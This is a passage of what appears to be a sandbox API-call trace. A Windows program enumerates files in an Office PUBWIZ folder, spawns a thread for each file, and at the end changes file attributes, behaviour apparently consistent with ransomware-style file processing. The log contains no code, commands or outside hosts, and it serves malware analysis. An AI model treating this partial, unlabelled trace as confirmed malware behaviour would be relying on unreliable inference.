Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.547] wcscat (in: _Dest=0x1cdb75f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.548] wcscat (in: _Dest=0x1cdb75f0, _Source="DGAD.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV" [0159.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb75f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e4 [0159.548] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aaf00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5aaf00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGAD.XML", cAlternateFileName="")) returned 1 [0159.549] wcscmp (_String1="DGAD.XML", _String2=".") returned 1 [0159.549] wcscmp (_String1="DGAD.XML", _String2="..") returned 1 [0159.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb7670 [0159.549] wcscpy (in: _Dest=0x1cdb7670, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.549] wcscat (in: _Dest=0x1cdb7670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.549] wcscat (in: _Dest=0x1cdb7670, _Source="DGAD.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" [0159.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27e8 [0159.550] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc92fc900, ftCreationTime.dwHighDateTime=0x1c7e8c2, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92fc900, ftLastWriteTime.dwHighDateTime=0x1c7e8c2, nFileSizeHigh=0x0, nFileSizeLow=0x5269, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.DPV", cAlternateFileName="")) returned 1 [0159.550] wcscmp (_String1="DGATNGET.DPV", _String2=".") returned 1 [0159.550] wcscmp (_String1="DGATNGET.DPV", _String2="..") returned 1 [0159.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde910 [0159.550] wcscpy (in: _Dest=0x1cdde910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.550] wcscat (in: _Dest=0x1cdde910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.550] wcscat (in: _Dest=0x1cdde910, _Source="DGATNGET.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV" [0159.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27ec [0159.553] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b2ea00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b2ea00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGATNGET.XML", cAlternateFileName="")) returned 1 [0159.553] wcscmp (_String1="DGATNGET.XML", _String2=".") returned 1 [0159.553] wcscmp (_String1="DGATNGET.XML", _String2="..") returned 1 [0159.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cdde9a0 [0159.554] wcscpy (in: _Dest=0x1cdde9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.554] wcscat (in: _Dest=0x1cdde9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.554] wcscat (in: _Dest=0x1cdde9a0, _Source="DGATNGET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" [0159.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdde9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f0 [0159.555] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.DPV", cAlternateFileName="")) returned 1 [0159.555] wcscmp (_String1="DGBARBLL.DPV", _String2=".") returned 1 [0159.555] wcscmp (_String1="DGBARBLL.DPV", _String2="..") returned 1 [0159.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddea30 [0159.555] wcscpy (in: _Dest=0x1cddea30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.555] wcscat (in: _Dest=0x1cddea30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.555] wcscat (in: _Dest=0x1cddea30, _Source="DGBARBLL.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV" [0159.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddea30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f4 [0159.556] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBARBLL.XML", cAlternateFileName="")) returned 1 [0159.556] wcscmp (_String1="DGBARBLL.XML", _String2=".") returned 1 [0159.556] wcscmp (_String1="DGBARBLL.XML", _String2="..") returned 1 [0159.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddeac0 [0159.579] wcscpy (in: _Dest=0x1cddeac0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.579] wcscat (in: _Dest=0x1cddeac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.579] wcscat (in: _Dest=0x1cddeac0, _Source="DGBARBLL.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" [0159.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddeac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2804 [0159.580] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.DPV", cAlternateFileName="")) returned 1 [0159.580] wcscmp (_String1="DGBORDER.DPV", _String2=".") returned 1 [0159.580] wcscmp (_String1="DGBORDER.DPV", _String2="..") returned 1 [0159.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cddeb50 [0159.581] wcscpy (in: _Dest=0x1cddeb50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.581] wcscat (in: _Dest=0x1cddeb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.581] wcscat (in: _Dest=0x1cddeb50, _Source="DGBORDER.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV" [0159.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddeb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2808 [0159.583] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9924200, ftCreationTime.dwHighDateTime=0x1c9a14d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9924200, ftLastWriteTime.dwHighDateTime=0x1c9a14d, nFileSizeHigh=0x0, nFileSizeLow=0x9a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBORDER.XML", cAlternateFileName="")) returned 1 [0159.583] wcscmp (_String1="DGBORDER.XML", _String2=".") returned 1 [0159.583] wcscmp (_String1="DGBORDER.XML", _String2="..") returned 1 [0159.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3340 [0159.584] wcscpy (in: _Dest=0x1ced3340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.584] wcscat (in: _Dest=0x1ced3340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.584] wcscat (in: _Dest=0x1ced3340, _Source="DGBORDER.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" [0159.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced3340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27f8 [0159.586] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98487b00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98487b00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.DPV", cAlternateFileName="")) returned 1 [0159.586] wcscmp (_String1="DGBOXES.DPV", _String2=".") returned 1 [0159.586] wcscmp (_String1="DGBOXES.DPV", _String2="..") returned 1 [0159.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced2fe0 [0159.586] wcscpy (in: _Dest=0x1ced2fe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.586] wcscat (in: _Dest=0x1ced2fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.586] wcscat (in: _Dest=0x1ced2fe0, _Source="DGBOXES.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV" [0159.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2814 [0159.589] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321df500, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x321df500, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGBOXES.XML", cAlternateFileName="")) returned 1 [0159.589] wcscmp (_String1="DGBOXES.XML", _String2=".") returned 1 [0159.589] wcscmp (_String1="DGBOXES.XML", _String2="..") returned 1 [0159.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced2b60 [0159.590] wcscpy (in: _Dest=0x1ced2b60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.590] wcscat (in: _Dest=0x1ced2b60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.590] wcscat (in: _Dest=0x1ced2b60, _Source="DGBOXES.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" [0159.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x281c [0159.591] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1497e200, ftCreationTime.dwHighDateTime=0x1c6856f, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1497e200, ftLastWriteTime.dwHighDateTime=0x1c6856f, nFileSizeHigh=0x0, nFileSizeLow=0x35468, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.DPV", cAlternateFileName="")) returned 1 [0159.591] wcscmp (_String1="DGCAL.DPV", _String2=".") returned 1 [0159.591] wcscmp (_String1="DGCAL.DPV", _String2="..") returned 1 [0159.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cdb76f0 [0159.591] wcscpy (in: _Dest=0x1cdb76f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.591] wcscat (in: _Dest=0x1cdb76f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.591] wcscat (in: _Dest=0x1cdb76f0, _Source="DGCAL.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV" [0159.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb76f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2824 [0159.594] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba75d00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba75d00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCAL.XML", cAlternateFileName="")) returned 1 [0159.594] wcscmp (_String1="DGCAL.XML", _String2=".") returned 1 [0159.594] wcscmp (_String1="DGCAL.XML", _String2="..") returned 1 [0159.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1cdb7770 [0159.594] wcscpy (in: _Dest=0x1cdb7770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.594] wcscat (in: _Dest=0x1cdb7770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.595] wcscat (in: _Dest=0x1cdb7770, _Source="DGCAL.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" [0159.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb7770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27fc [0159.596] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca59dd00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca59dd00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.DPV", cAlternateFileName="")) returned 1 [0159.596] wcscmp (_String1="DGCHKBRD.DPV", _String2=".") returned 1 [0159.596] wcscmp (_String1="DGCHKBRD.DPV", _String2="..") returned 1 [0159.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced2ad0 [0159.597] wcscpy (in: _Dest=0x1ced2ad0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.597] wcscat (in: _Dest=0x1ced2ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.597] wcscat (in: _Dest=0x1ced2ad0, _Source="DGCHKBRD.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV" [0159.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280c [0159.599] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ded00, ftCreationTime.dwHighDateTime=0x1c98d98, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa0ded00, ftLastWriteTime.dwHighDateTime=0x1c98d98, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCHKBRD.XML", cAlternateFileName="")) returned 1 [0159.600] wcscmp (_String1="DGCHKBRD.XML", _String2=".") returned 1 [0159.600] wcscmp (_String1="DGCHKBRD.XML", _String2="..") returned 1 [0159.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced2d10 [0159.600] wcscpy (in: _Dest=0x1ced2d10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.600] wcscat (in: _Dest=0x1ced2d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.600] wcscat (in: _Dest=0x1ced2d10, _Source="DGCHKBRD.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" [0159.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2810 [0159.604] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147eee00, ftCreationTime.dwHighDateTime=0x1c9c48f, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x147eee00, ftLastWriteTime.dwHighDateTime=0x1c9c48f, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCINFO.XML", cAlternateFileName="")) returned 1 [0159.604] wcscmp (_String1="DGCINFO.XML", _String2=".") returned 1 [0159.605] wcscmp (_String1="DGCINFO.XML", _String2="..") returned 1 [0159.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced2c80 [0159.605] wcscpy (in: _Dest=0x1ced2c80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0159.605] wcscat (in: _Dest=0x1ced2c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0159.605] wcscat (in: _Dest=0x1ced2c80, _Source="DGCINFO.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" [0159.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2820 [0159.606] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caf000, ftCreationTime.dwHighDateTime=0x1c5e8f4, ftLastAccessTime.dwLowDateTime=0x51dcda70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4caf000, ftLastWriteTime.dwHighDateTime=0x1c5e8f4, nFileSizeHigh=0x0, nFileSizeLow=0x6082, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGCOUPON.DPV", cAlternateFileName="")) returned 1 [0165.266] wcscmp (_String1="DGCOUPON.DPV", _String2=".") returned 1 [0165.266] wcscmp (_String1="DGCOUPON.DPV", _String2="..") returned 1 [0165.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c22870 [0165.304] wcscpy (in: _Dest=0x42c22870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0165.331] wcscat (in: _Dest=0x42c22870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\" [0165.331] wcscat (in: _Dest=0x42c22870, _Source="DGCOUPON.DPV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" [0165.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv")) returned 0x20 [0165.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV", 